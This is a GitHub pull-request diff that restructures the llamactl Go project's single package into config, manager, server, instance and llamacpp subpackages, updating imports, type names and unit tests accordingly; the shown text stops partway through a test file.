Merge pull request #12 from lordmathis/refactor/pkg-restructure

Pkg restructure
This commit is contained in:
2025-08-04 20:48:18 +02:00
committed by GitHub
23 changed files with 849 additions and 817 deletions

View File

@@ -2,7 +2,9 @@ package main
import ( import (
"fmt" "fmt"
llamactl "llamactl/pkg" "llamactl/pkg/config"
"llamactl/pkg/manager"
"llamactl/pkg/server"
"net/http" "net/http"
"os" "os"
"os/signal" "os/signal"
@@ -18,45 +20,45 @@ import (
func main() { func main() {
configPath := os.Getenv("LLAMACTL_CONFIG_PATH") configPath := os.Getenv("LLAMACTL_CONFIG_PATH")
config, err := llamactl.LoadConfig(configPath) cfg, err := config.LoadConfig(configPath)
if err != nil { if err != nil {
fmt.Printf("Error loading config: %v\n", err) fmt.Printf("Error loading config: %v\n", err)
fmt.Println("Using default configuration.") fmt.Println("Using default configuration.")
} }
// Create the data directory if it doesn't exist // Create the data directory if it doesn't exist
if config.Instances.AutoCreateDirs { if cfg.Instances.AutoCreateDirs {
if err := os.MkdirAll(config.Instances.InstancesDir, 0755); err != nil { if err := os.MkdirAll(cfg.Instances.InstancesDir, 0755); err != nil {
fmt.Printf("Error creating config directory %s: %v\n", config.Instances.InstancesDir, err) fmt.Printf("Error creating config directory %s: %v\n", cfg.Instances.InstancesDir, err)
fmt.Println("Persistence will not be available.") fmt.Println("Persistence will not be available.")
} }
if err := os.MkdirAll(config.Instances.LogsDir, 0755); err != nil { if err := os.MkdirAll(cfg.Instances.LogsDir, 0755); err != nil {
fmt.Printf("Error creating log directory %s: %v\n", config.Instances.LogsDir, err) fmt.Printf("Error creating log directory %s: %v\n", cfg.Instances.LogsDir, err)
fmt.Println("Instance logs will not be available.") fmt.Println("Instance logs will not be available.")
} }
} }
// Initialize the instance manager // Initialize the instance manager
instanceManager := llamactl.NewInstanceManager(config.Instances) instanceManager := manager.NewInstanceManager(cfg.Instances)
// Create a new handler with the instance manager // Create a new handler with the instance manager
handler := llamactl.NewHandler(instanceManager, config) handler := server.NewHandler(instanceManager, cfg)
// Setup the router with the handler // Setup the router with the handler
r := llamactl.SetupRouter(handler) r := server.SetupRouter(handler)
// Handle graceful shutdown // Handle graceful shutdown
stop := make(chan os.Signal, 1) stop := make(chan os.Signal, 1)
signal.Notify(stop, os.Interrupt, syscall.SIGTERM) signal.Notify(stop, os.Interrupt, syscall.SIGTERM)
server := http.Server{ server := http.Server{
Addr: fmt.Sprintf("%s:%d", config.Server.Host, config.Server.Port), Addr: fmt.Sprintf("%s:%d", cfg.Server.Host, cfg.Server.Port),
Handler: r, Handler: r,
} }
go func() { go func() {
fmt.Printf("Llamactl server listening on %s:%d\n", config.Server.Host, config.Server.Port) fmt.Printf("Llamactl server listening on %s:%d\n", cfg.Server.Host, cfg.Server.Port)
if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed { if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
fmt.Printf("Error starting server: %v\n", err) fmt.Printf("Error starting server: %v\n", err)
} }

View File

@@ -1,4 +1,4 @@
package llamactl package llamacpp
import ( import (
"encoding/json" "encoding/json"

View File

@@ -1,17 +1,16 @@
package llamactl_test package llamacpp_test
import ( import (
"encoding/json" "encoding/json"
"fmt" "fmt"
"llamactl/pkg/backends/llamacpp"
"reflect" "reflect"
"slices" "slices"
"testing" "testing"
llamactl "llamactl/pkg"
) )
func TestBuildCommandArgs_BasicFields(t *testing.T) { func TestBuildCommandArgs_BasicFields(t *testing.T) {
options := llamactl.LlamaServerOptions{ options := llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
Port: 8080, Port: 8080,
Host: "localhost", Host: "localhost",
@@ -46,27 +45,27 @@ func TestBuildCommandArgs_BasicFields(t *testing.T) {
func TestBuildCommandArgs_BooleanFields(t *testing.T) { func TestBuildCommandArgs_BooleanFields(t *testing.T) {
tests := []struct { tests := []struct {
name string name string
options llamactl.LlamaServerOptions options llamacpp.LlamaServerOptions
expected []string expected []string
excluded []string excluded []string
}{ }{
{ {
name: "verbose true", name: "verbose true",
options: llamactl.LlamaServerOptions{ options: llamacpp.LlamaServerOptions{
Verbose: true, Verbose: true,
}, },
expected: []string{"--verbose"}, expected: []string{"--verbose"},
}, },
{ {
name: "verbose false", name: "verbose false",
options: llamactl.LlamaServerOptions{ options: llamacpp.LlamaServerOptions{
Verbose: false, Verbose: false,
}, },
excluded: []string{"--verbose"}, excluded: []string{"--verbose"},
}, },
{ {
name: "multiple booleans", name: "multiple booleans",
options: llamactl.LlamaServerOptions{ options: llamacpp.LlamaServerOptions{
Verbose: true, Verbose: true,
FlashAttn: true, FlashAttn: true,
Mlock: false, Mlock: false,
@@ -97,7 +96,7 @@ func TestBuildCommandArgs_BooleanFields(t *testing.T) {
} }
func TestBuildCommandArgs_NumericFields(t *testing.T) { func TestBuildCommandArgs_NumericFields(t *testing.T) {
options := llamactl.LlamaServerOptions{ options := llamacpp.LlamaServerOptions{
Port: 8080, Port: 8080,
Threads: 4, Threads: 4,
CtxSize: 2048, CtxSize: 2048,
@@ -127,7 +126,7 @@ func TestBuildCommandArgs_NumericFields(t *testing.T) {
} }
func TestBuildCommandArgs_ZeroValues(t *testing.T) { func TestBuildCommandArgs_ZeroValues(t *testing.T) {
options := llamactl.LlamaServerOptions{ options := llamacpp.LlamaServerOptions{
Port: 0, // Should be excluded Port: 0, // Should be excluded
Threads: 0, // Should be excluded Threads: 0, // Should be excluded
Temperature: 0, // Should be excluded Temperature: 0, // Should be excluded
@@ -154,7 +153,7 @@ func TestBuildCommandArgs_ZeroValues(t *testing.T) {
} }
func TestBuildCommandArgs_ArrayFields(t *testing.T) { func TestBuildCommandArgs_ArrayFields(t *testing.T) {
options := llamactl.LlamaServerOptions{ options := llamacpp.LlamaServerOptions{
Lora: []string{"adapter1.bin", "adapter2.bin"}, Lora: []string{"adapter1.bin", "adapter2.bin"},
OverrideTensor: []string{"tensor1", "tensor2", "tensor3"}, OverrideTensor: []string{"tensor1", "tensor2", "tensor3"},
DrySequenceBreaker: []string{".", "!", "?"}, DrySequenceBreaker: []string{".", "!", "?"},
@@ -179,7 +178,7 @@ func TestBuildCommandArgs_ArrayFields(t *testing.T) {
} }
func TestBuildCommandArgs_EmptyArrays(t *testing.T) { func TestBuildCommandArgs_EmptyArrays(t *testing.T) {
options := llamactl.LlamaServerOptions{ options := llamacpp.LlamaServerOptions{
Lora: []string{}, // Empty array should not generate args Lora: []string{}, // Empty array should not generate args
OverrideTensor: []string{}, // Empty array should not generate args OverrideTensor: []string{}, // Empty array should not generate args
} }
@@ -196,7 +195,7 @@ func TestBuildCommandArgs_EmptyArrays(t *testing.T) {
func TestBuildCommandArgs_FieldNameConversion(t *testing.T) { func TestBuildCommandArgs_FieldNameConversion(t *testing.T) {
// Test snake_case to kebab-case conversion // Test snake_case to kebab-case conversion
options := llamactl.LlamaServerOptions{ options := llamacpp.LlamaServerOptions{
CtxSize: 4096, CtxSize: 4096,
GPULayers: 32, GPULayers: 32,
ThreadsBatch: 2, ThreadsBatch: 2,
@@ -235,7 +234,7 @@ func TestUnmarshalJSON_StandardFields(t *testing.T) {
"temperature": 0.7 "temperature": 0.7
}` }`
var options llamactl.LlamaServerOptions var options llamacpp.LlamaServerOptions
err := json.Unmarshal([]byte(jsonData), &options) err := json.Unmarshal([]byte(jsonData), &options)
if err != nil { if err != nil {
t.Fatalf("Unmarshal failed: %v", err) t.Fatalf("Unmarshal failed: %v", err)
@@ -268,12 +267,12 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
tests := []struct { tests := []struct {
name string name string
jsonData string jsonData string
checkFn func(llamactl.LlamaServerOptions) error checkFn func(llamacpp.LlamaServerOptions) error
}{ }{
{ {
name: "threads alternatives", name: "threads alternatives",
jsonData: `{"t": 4, "tb": 2}`, jsonData: `{"t": 4, "tb": 2}`,
checkFn: func(opts llamactl.LlamaServerOptions) error { checkFn: func(opts llamacpp.LlamaServerOptions) error {
if opts.Threads != 4 { if opts.Threads != 4 {
return fmt.Errorf("expected threads 4, got %d", opts.Threads) return fmt.Errorf("expected threads 4, got %d", opts.Threads)
} }
@@ -286,7 +285,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
{ {
name: "context size alternatives", name: "context size alternatives",
jsonData: `{"c": 2048}`, jsonData: `{"c": 2048}`,
checkFn: func(opts llamactl.LlamaServerOptions) error { checkFn: func(opts llamacpp.LlamaServerOptions) error {
if opts.CtxSize != 2048 { if opts.CtxSize != 2048 {
return fmt.Errorf("expected ctx_size 4096, got %d", opts.CtxSize) return fmt.Errorf("expected ctx_size 4096, got %d", opts.CtxSize)
} }
@@ -296,7 +295,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
{ {
name: "gpu layers alternatives", name: "gpu layers alternatives",
jsonData: `{"ngl": 16}`, jsonData: `{"ngl": 16}`,
checkFn: func(opts llamactl.LlamaServerOptions) error { checkFn: func(opts llamacpp.LlamaServerOptions) error {
if opts.GPULayers != 16 { if opts.GPULayers != 16 {
return fmt.Errorf("expected gpu_layers 32, got %d", opts.GPULayers) return fmt.Errorf("expected gpu_layers 32, got %d", opts.GPULayers)
} }
@@ -306,7 +305,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
{ {
name: "model alternatives", name: "model alternatives",
jsonData: `{"m": "/path/model.gguf"}`, jsonData: `{"m": "/path/model.gguf"}`,
checkFn: func(opts llamactl.LlamaServerOptions) error { checkFn: func(opts llamacpp.LlamaServerOptions) error {
if opts.Model != "/path/model.gguf" { if opts.Model != "/path/model.gguf" {
return fmt.Errorf("expected model '/path/model.gguf', got %q", opts.Model) return fmt.Errorf("expected model '/path/model.gguf', got %q", opts.Model)
} }
@@ -316,7 +315,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
{ {
name: "temperature alternatives", name: "temperature alternatives",
jsonData: `{"temp": 0.8}`, jsonData: `{"temp": 0.8}`,
checkFn: func(opts llamactl.LlamaServerOptions) error { checkFn: func(opts llamacpp.LlamaServerOptions) error {
if opts.Temperature != 0.8 { if opts.Temperature != 0.8 {
return fmt.Errorf("expected temperature 0.8, got %f", opts.Temperature) return fmt.Errorf("expected temperature 0.8, got %f", opts.Temperature)
} }
@@ -327,7 +326,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
for _, tt := range tests { for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) { t.Run(tt.name, func(t *testing.T) {
var options llamactl.LlamaServerOptions var options llamacpp.LlamaServerOptions
err := json.Unmarshal([]byte(tt.jsonData), &options) err := json.Unmarshal([]byte(tt.jsonData), &options)
if err != nil { if err != nil {
t.Fatalf("Unmarshal failed: %v", err) t.Fatalf("Unmarshal failed: %v", err)
@@ -343,7 +342,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
func TestUnmarshalJSON_InvalidJSON(t *testing.T) { func TestUnmarshalJSON_InvalidJSON(t *testing.T) {
invalidJSON := `{"port": "not-a-number", "invalid": syntax}` invalidJSON := `{"port": "not-a-number", "invalid": syntax}`
var options llamactl.LlamaServerOptions var options llamacpp.LlamaServerOptions
err := json.Unmarshal([]byte(invalidJSON), &options) err := json.Unmarshal([]byte(invalidJSON), &options)
if err == nil { if err == nil {
t.Error("Expected error for invalid JSON") t.Error("Expected error for invalid JSON")
@@ -357,7 +356,7 @@ func TestUnmarshalJSON_ArrayFields(t *testing.T) {
"dry_sequence_breaker": [".", "!", "?"] "dry_sequence_breaker": [".", "!", "?"]
}` }`
var options llamactl.LlamaServerOptions var options llamacpp.LlamaServerOptions
err := json.Unmarshal([]byte(jsonData), &options) err := json.Unmarshal([]byte(jsonData), &options)
if err != nil { if err != nil {
t.Fatalf("Unmarshal failed: %v", err) t.Fatalf("Unmarshal failed: %v", err)

View File

@@ -1,4 +1,4 @@
package llamactl package config
import ( import (
"os" "os"
@@ -10,8 +10,8 @@ import (
"gopkg.in/yaml.v3" "gopkg.in/yaml.v3"
) )
// Config represents the configuration for llamactl // AppConfig represents the configuration for llamactl
type Config struct { type AppConfig struct {
Server ServerConfig `yaml:"server"` Server ServerConfig `yaml:"server"`
Instances InstancesConfig `yaml:"instances"` Instances InstancesConfig `yaml:"instances"`
Auth AuthConfig `yaml:"auth"` Auth AuthConfig `yaml:"auth"`
@@ -85,9 +85,9 @@ type AuthConfig struct {
// 1. Hardcoded defaults // 1. Hardcoded defaults
// 2. Config file // 2. Config file
// 3. Environment variables // 3. Environment variables
func LoadConfig(configPath string) (Config, error) { func LoadConfig(configPath string) (AppConfig, error) {
// 1. Start with defaults // 1. Start with defaults
cfg := Config{ cfg := AppConfig{
Server: ServerConfig{ Server: ServerConfig{
Host: "0.0.0.0", Host: "0.0.0.0",
Port: 8080, Port: 8080,
@@ -126,7 +126,7 @@ func LoadConfig(configPath string) (Config, error) {
} }
// loadConfigFile attempts to load config from file with fallback locations // loadConfigFile attempts to load config from file with fallback locations
func loadConfigFile(cfg *Config, configPath string) error { func loadConfigFile(cfg *AppConfig, configPath string) error {
var configLocations []string var configLocations []string
// If specific config path provided, use only that // If specific config path provided, use only that
@@ -150,7 +150,7 @@ func loadConfigFile(cfg *Config, configPath string) error {
} }
// loadEnvVars overrides config with environment variables // loadEnvVars overrides config with environment variables
func loadEnvVars(cfg *Config) { func loadEnvVars(cfg *AppConfig) {
// Server config // Server config
if host := os.Getenv("LLAMACTL_HOST"); host != "" { if host := os.Getenv("LLAMACTL_HOST"); host != "" {
cfg.Server.Host = host cfg.Server.Host = host

View File

@@ -1,16 +1,15 @@
package llamactl_test package config_test
import ( import (
"llamactl/pkg/config"
"os" "os"
"path/filepath" "path/filepath"
"testing" "testing"
llamactl "llamactl/pkg"
) )
func TestLoadConfig_Defaults(t *testing.T) { func TestLoadConfig_Defaults(t *testing.T) {
// Test loading config when no file exists and no env vars set // Test loading config when no file exists and no env vars set
cfg, err := llamactl.LoadConfig("nonexistent-file.yaml") cfg, err := config.LoadConfig("nonexistent-file.yaml")
if err != nil { if err != nil {
t.Fatalf("LoadConfig should not error with defaults: %v", err) t.Fatalf("LoadConfig should not error with defaults: %v", err)
} }
@@ -81,7 +80,7 @@ instances:
t.Fatalf("Failed to write test config file: %v", err) t.Fatalf("Failed to write test config file: %v", err)
} }
cfg, err := llamactl.LoadConfig(configFile) cfg, err := config.LoadConfig(configFile)
if err != nil { if err != nil {
t.Fatalf("LoadConfig failed: %v", err) t.Fatalf("LoadConfig failed: %v", err)
} }
@@ -136,7 +135,7 @@ func TestLoadConfig_EnvironmentOverrides(t *testing.T) {
defer os.Unsetenv(key) defer os.Unsetenv(key)
} }
cfg, err := llamactl.LoadConfig("nonexistent-file.yaml") cfg, err := config.LoadConfig("nonexistent-file.yaml")
if err != nil { if err != nil {
t.Fatalf("LoadConfig failed: %v", err) t.Fatalf("LoadConfig failed: %v", err)
} }
@@ -195,7 +194,7 @@ instances:
defer os.Unsetenv("LLAMACTL_HOST") defer os.Unsetenv("LLAMACTL_HOST")
defer os.Unsetenv("LLAMACTL_MAX_INSTANCES") defer os.Unsetenv("LLAMACTL_MAX_INSTANCES")
cfg, err := llamactl.LoadConfig(configFile) cfg, err := config.LoadConfig(configFile)
if err != nil { if err != nil {
t.Fatalf("LoadConfig failed: %v", err) t.Fatalf("LoadConfig failed: %v", err)
} }
@@ -231,7 +230,7 @@ instances:
t.Fatalf("Failed to write test config file: %v", err) t.Fatalf("Failed to write test config file: %v", err)
} }
_, err = llamactl.LoadConfig(configFile) _, err = config.LoadConfig(configFile)
if err == nil { if err == nil {
t.Error("Expected LoadConfig to return error for invalid YAML") t.Error("Expected LoadConfig to return error for invalid YAML")
} }
@@ -257,7 +256,7 @@ func TestParsePortRange(t *testing.T) {
for _, tt := range tests { for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) { t.Run(tt.name, func(t *testing.T) {
result := llamactl.ParsePortRange(tt.input) result := config.ParsePortRange(tt.input)
if result != tt.expected { if result != tt.expected {
t.Errorf("ParsePortRange(%q) = %v, expected %v", tt.input, result, tt.expected) t.Errorf("ParsePortRange(%q) = %v, expected %v", tt.input, result, tt.expected)
} }
@@ -272,31 +271,31 @@ func TestLoadConfig_EnvironmentVariableTypes(t *testing.T) {
testCases := []struct { testCases := []struct {
envVar string envVar string
envValue string envValue string
checkFn func(*llamactl.Config) bool checkFn func(*config.AppConfig) bool
desc string desc string
}{ }{
{ {
envVar: "LLAMACTL_PORT", envVar: "LLAMACTL_PORT",
envValue: "invalid-port", envValue: "invalid-port",
checkFn: func(c *llamactl.Config) bool { return c.Server.Port == 8080 }, // Should keep default checkFn: func(c *config.AppConfig) bool { return c.Server.Port == 8080 }, // Should keep default
desc: "invalid port number should keep default", desc: "invalid port number should keep default",
}, },
{ {
envVar: "LLAMACTL_MAX_INSTANCES", envVar: "LLAMACTL_MAX_INSTANCES",
envValue: "not-a-number", envValue: "not-a-number",
checkFn: func(c *llamactl.Config) bool { return c.Instances.MaxInstances == -1 }, // Should keep default checkFn: func(c *config.AppConfig) bool { return c.Instances.MaxInstances == -1 }, // Should keep default
desc: "invalid max instances should keep default", desc: "invalid max instances should keep default",
}, },
{ {
envVar: "LLAMACTL_DEFAULT_AUTO_RESTART", envVar: "LLAMACTL_DEFAULT_AUTO_RESTART",
envValue: "invalid-bool", envValue: "invalid-bool",
checkFn: func(c *llamactl.Config) bool { return c.Instances.DefaultAutoRestart == true }, // Should keep default checkFn: func(c *config.AppConfig) bool { return c.Instances.DefaultAutoRestart == true }, // Should keep default
desc: "invalid boolean should keep default", desc: "invalid boolean should keep default",
}, },
{ {
envVar: "LLAMACTL_INSTANCE_PORT_RANGE", envVar: "LLAMACTL_INSTANCE_PORT_RANGE",
envValue: "invalid-range", envValue: "invalid-range",
checkFn: func(c *llamactl.Config) bool { return c.Instances.PortRange == [2]int{8000, 9000} }, // Should keep default checkFn: func(c *config.AppConfig) bool { return c.Instances.PortRange == [2]int{8000, 9000} }, // Should keep default
desc: "invalid port range should keep default", desc: "invalid port range should keep default",
}, },
} }
@@ -306,7 +305,7 @@ func TestLoadConfig_EnvironmentVariableTypes(t *testing.T) {
os.Setenv(tc.envVar, tc.envValue) os.Setenv(tc.envVar, tc.envValue)
defer os.Unsetenv(tc.envVar) defer os.Unsetenv(tc.envVar)
cfg, err := llamactl.LoadConfig("nonexistent-file.yaml") cfg, err := config.LoadConfig("nonexistent-file.yaml")
if err != nil { if err != nil {
t.Fatalf("LoadConfig failed: %v", err) t.Fatalf("LoadConfig failed: %v", err)
} }
@@ -335,7 +334,7 @@ server:
t.Fatalf("Failed to write test config file: %v", err) t.Fatalf("Failed to write test config file: %v", err)
} }
cfg, err := llamactl.LoadConfig(configFile) cfg, err := config.LoadConfig(configFile)
if err != nil { if err != nil {
t.Fatalf("LoadConfig failed: %v", err) t.Fatalf("LoadConfig failed: %v", err)
} }

View File

@@ -1,10 +1,12 @@
package llamactl package instance
import ( import (
"context" "context"
"encoding/json" "encoding/json"
"fmt" "fmt"
"io" "io"
"llamactl/pkg/backends/llamacpp"
"llamactl/pkg/config"
"log" "log"
"net/http" "net/http"
"net/http/httputil" "net/http/httputil"
@@ -21,7 +23,7 @@ type CreateInstanceOptions struct {
// RestartDelay duration in seconds // RestartDelay duration in seconds
RestartDelay *int `json:"restart_delay_seconds,omitempty"` RestartDelay *int `json:"restart_delay_seconds,omitempty"`
LlamaServerOptions `json:",inline"` llamacpp.LlamaServerOptions `json:",inline"`
} }
// UnmarshalJSON implements custom JSON unmarshaling for CreateInstanceOptions // UnmarshalJSON implements custom JSON unmarshaling for CreateInstanceOptions
@@ -53,11 +55,11 @@ func (c *CreateInstanceOptions) UnmarshalJSON(data []byte) error {
return nil return nil
} }
// Instance represents a running instance of the llama server // Process represents a running instance of the llama server
type Instance struct { type Process struct {
Name string `json:"name"` Name string `json:"name"`
options *CreateInstanceOptions `json:"-"` options *CreateInstanceOptions `json:"-"`
globalSettings *InstancesConfig globalSettings *config.InstancesConfig
// Status // Status
Running bool `json:"running"` Running bool `json:"running"`
@@ -121,7 +123,7 @@ func validateAndCopyOptions(name string, options *CreateInstanceOptions) *Create
} }
// applyDefaultOptions applies default values from global settings to any nil options // applyDefaultOptions applies default values from global settings to any nil options
func applyDefaultOptions(options *CreateInstanceOptions, globalSettings *InstancesConfig) { func applyDefaultOptions(options *CreateInstanceOptions, globalSettings *config.InstancesConfig) {
if globalSettings == nil { if globalSettings == nil {
return return
} }
@@ -143,7 +145,7 @@ func applyDefaultOptions(options *CreateInstanceOptions, globalSettings *Instanc
} }
// NewInstance creates a new instance with the given name, log path, and options // NewInstance creates a new instance with the given name, log path, and options
func NewInstance(name string, globalSettings *InstancesConfig, options *CreateInstanceOptions) *Instance { func NewInstance(name string, globalSettings *config.InstancesConfig, options *CreateInstanceOptions) *Process {
// Validate and copy options // Validate and copy options
optionsCopy := validateAndCopyOptions(name, options) optionsCopy := validateAndCopyOptions(name, options)
// Apply defaults // Apply defaults
@@ -151,7 +153,7 @@ func NewInstance(name string, globalSettings *InstancesConfig, options *CreateIn
// Create the instance logger // Create the instance logger
logger := NewInstanceLogger(name, globalSettings.LogsDir) logger := NewInstanceLogger(name, globalSettings.LogsDir)
return &Instance{ return &Process{
Name: name, Name: name,
options: optionsCopy, options: optionsCopy,
globalSettings: globalSettings, globalSettings: globalSettings,
@@ -163,13 +165,13 @@ func NewInstance(name string, globalSettings *InstancesConfig, options *CreateIn
} }
} }
func (i *Instance) GetOptions() *CreateInstanceOptions { func (i *Process) GetOptions() *CreateInstanceOptions {
i.mu.RLock() i.mu.RLock()
defer i.mu.RUnlock() defer i.mu.RUnlock()
return i.options return i.options
} }
func (i *Instance) SetOptions(options *CreateInstanceOptions) { func (i *Process) SetOptions(options *CreateInstanceOptions) {
i.mu.Lock() i.mu.Lock()
defer i.mu.Unlock() defer i.mu.Unlock()
@@ -188,7 +190,7 @@ func (i *Instance) SetOptions(options *CreateInstanceOptions) {
} }
// GetProxy returns the reverse proxy for this instance, creating it if needed // GetProxy returns the reverse proxy for this instance, creating it if needed
func (i *Instance) GetProxy() (*httputil.ReverseProxy, error) { func (i *Process) GetProxy() (*httputil.ReverseProxy, error) {
i.mu.Lock() i.mu.Lock()
defer i.mu.Unlock() defer i.mu.Unlock()
@@ -225,7 +227,7 @@ func (i *Instance) GetProxy() (*httputil.ReverseProxy, error) {
} }
// MarshalJSON implements json.Marshaler for Instance // MarshalJSON implements json.Marshaler for Instance
func (i *Instance) MarshalJSON() ([]byte, error) { func (i *Process) MarshalJSON() ([]byte, error) {
// Use read lock since we're only reading data // Use read lock since we're only reading data
i.mu.RLock() i.mu.RLock()
defer i.mu.RUnlock() defer i.mu.RUnlock()
@@ -247,7 +249,7 @@ func (i *Instance) MarshalJSON() ([]byte, error) {
} }
// UnmarshalJSON implements json.Unmarshaler for Instance // UnmarshalJSON implements json.Unmarshaler for Instance
func (i *Instance) UnmarshalJSON(data []byte) error { func (i *Process) UnmarshalJSON(data []byte) error {
// Create a temporary struct for unmarshalling // Create a temporary struct for unmarshalling
temp := struct { temp := struct {
Name string `json:"name"` Name string `json:"name"`

View File

@@ -1,28 +1,30 @@
package llamactl_test package instance_test
import ( import (
"encoding/json" "encoding/json"
"llamactl/pkg/backends/llamacpp"
"llamactl/pkg/config"
"llamactl/pkg/instance"
"llamactl/pkg/testutil"
"testing" "testing"
llamactl "llamactl/pkg"
) )
func TestNewInstance(t *testing.T) { func TestNewInstance(t *testing.T) {
globalSettings := &llamactl.InstancesConfig{ globalSettings := &config.InstancesConfig{
LogsDir: "/tmp/test", LogsDir: "/tmp/test",
DefaultAutoRestart: true, DefaultAutoRestart: true,
DefaultMaxRestarts: 3, DefaultMaxRestarts: 3,
DefaultRestartDelay: 5, DefaultRestartDelay: 5,
} }
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
Port: 8080, Port: 8080,
}, },
} }
instance := llamactl.NewInstance("test-instance", globalSettings, options) instance := instance.NewInstance("test-instance", globalSettings, options)
if instance.Name != "test-instance" { if instance.Name != "test-instance" {
t.Errorf("Expected name 'test-instance', got %q", instance.Name) t.Errorf("Expected name 'test-instance', got %q", instance.Name)
@@ -53,7 +55,7 @@ func TestNewInstance(t *testing.T) {
} }
func TestNewInstance_WithRestartOptions(t *testing.T) { func TestNewInstance_WithRestartOptions(t *testing.T) {
globalSettings := &llamactl.InstancesConfig{ globalSettings := &config.InstancesConfig{
LogsDir: "/tmp/test", LogsDir: "/tmp/test",
DefaultAutoRestart: true, DefaultAutoRestart: true,
DefaultMaxRestarts: 3, DefaultMaxRestarts: 3,
@@ -65,16 +67,16 @@ func TestNewInstance_WithRestartOptions(t *testing.T) {
maxRestarts := 10 maxRestarts := 10
restartDelay := 15 restartDelay := 15
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
AutoRestart: &autoRestart, AutoRestart: &autoRestart,
MaxRestarts: &maxRestarts, MaxRestarts: &maxRestarts,
RestartDelay: &restartDelay, RestartDelay: &restartDelay,
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
instance := llamactl.NewInstance("test-instance", globalSettings, options) instance := instance.NewInstance("test-instance", globalSettings, options)
opts := instance.GetOptions() opts := instance.GetOptions()
// Check that explicit values override defaults // Check that explicit values override defaults
@@ -90,7 +92,7 @@ func TestNewInstance_WithRestartOptions(t *testing.T) {
} }
func TestNewInstance_ValidationAndDefaults(t *testing.T) { func TestNewInstance_ValidationAndDefaults(t *testing.T) {
globalSettings := &llamactl.InstancesConfig{ globalSettings := &config.InstancesConfig{
LogsDir: "/tmp/test", LogsDir: "/tmp/test",
DefaultAutoRestart: true, DefaultAutoRestart: true,
DefaultMaxRestarts: 3, DefaultMaxRestarts: 3,
@@ -101,15 +103,15 @@ func TestNewInstance_ValidationAndDefaults(t *testing.T) {
invalidMaxRestarts := -5 invalidMaxRestarts := -5
invalidRestartDelay := -10 invalidRestartDelay := -10
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
MaxRestarts: &invalidMaxRestarts, MaxRestarts: &invalidMaxRestarts,
RestartDelay: &invalidRestartDelay, RestartDelay: &invalidRestartDelay,
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
instance := llamactl.NewInstance("test-instance", globalSettings, options) instance := instance.NewInstance("test-instance", globalSettings, options)
opts := instance.GetOptions() opts := instance.GetOptions()
// Check that negative values were corrected to 0 // Check that negative values were corrected to 0
@@ -122,32 +124,32 @@ func TestNewInstance_ValidationAndDefaults(t *testing.T) {
} }
func TestSetOptions(t *testing.T) { func TestSetOptions(t *testing.T) {
globalSettings := &llamactl.InstancesConfig{ globalSettings := &config.InstancesConfig{
LogsDir: "/tmp/test", LogsDir: "/tmp/test",
DefaultAutoRestart: true, DefaultAutoRestart: true,
DefaultMaxRestarts: 3, DefaultMaxRestarts: 3,
DefaultRestartDelay: 5, DefaultRestartDelay: 5,
} }
initialOptions := &llamactl.CreateInstanceOptions{ initialOptions := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
Port: 8080, Port: 8080,
}, },
} }
instance := llamactl.NewInstance("test-instance", globalSettings, initialOptions) inst := instance.NewInstance("test-instance", globalSettings, initialOptions)
// Update options // Update options
newOptions := &llamactl.CreateInstanceOptions{ newOptions := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/new-model.gguf", Model: "/path/to/new-model.gguf",
Port: 8081, Port: 8081,
}, },
} }
instance.SetOptions(newOptions) inst.SetOptions(newOptions)
opts := instance.GetOptions() opts := inst.GetOptions()
if opts.Model != "/path/to/new-model.gguf" { if opts.Model != "/path/to/new-model.gguf" {
t.Errorf("Expected updated model '/path/to/new-model.gguf', got %q", opts.Model) t.Errorf("Expected updated model '/path/to/new-model.gguf', got %q", opts.Model)
@@ -163,20 +165,20 @@ func TestSetOptions(t *testing.T) {
} }
func TestSetOptions_NilOptions(t *testing.T) { func TestSetOptions_NilOptions(t *testing.T) {
globalSettings := &llamactl.InstancesConfig{ globalSettings := &config.InstancesConfig{
LogsDir: "/tmp/test", LogsDir: "/tmp/test",
DefaultAutoRestart: true, DefaultAutoRestart: true,
DefaultMaxRestarts: 3, DefaultMaxRestarts: 3,
DefaultRestartDelay: 5, DefaultRestartDelay: 5,
} }
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
instance := llamactl.NewInstance("test-instance", globalSettings, options) instance := instance.NewInstance("test-instance", globalSettings, options)
originalOptions := instance.GetOptions() originalOptions := instance.GetOptions()
// Try to set nil options // Try to set nil options
@@ -190,21 +192,21 @@ func TestSetOptions_NilOptions(t *testing.T) {
} }
func TestGetProxy(t *testing.T) { func TestGetProxy(t *testing.T) {
globalSettings := &llamactl.InstancesConfig{ globalSettings := &config.InstancesConfig{
LogsDir: "/tmp/test", LogsDir: "/tmp/test",
} }
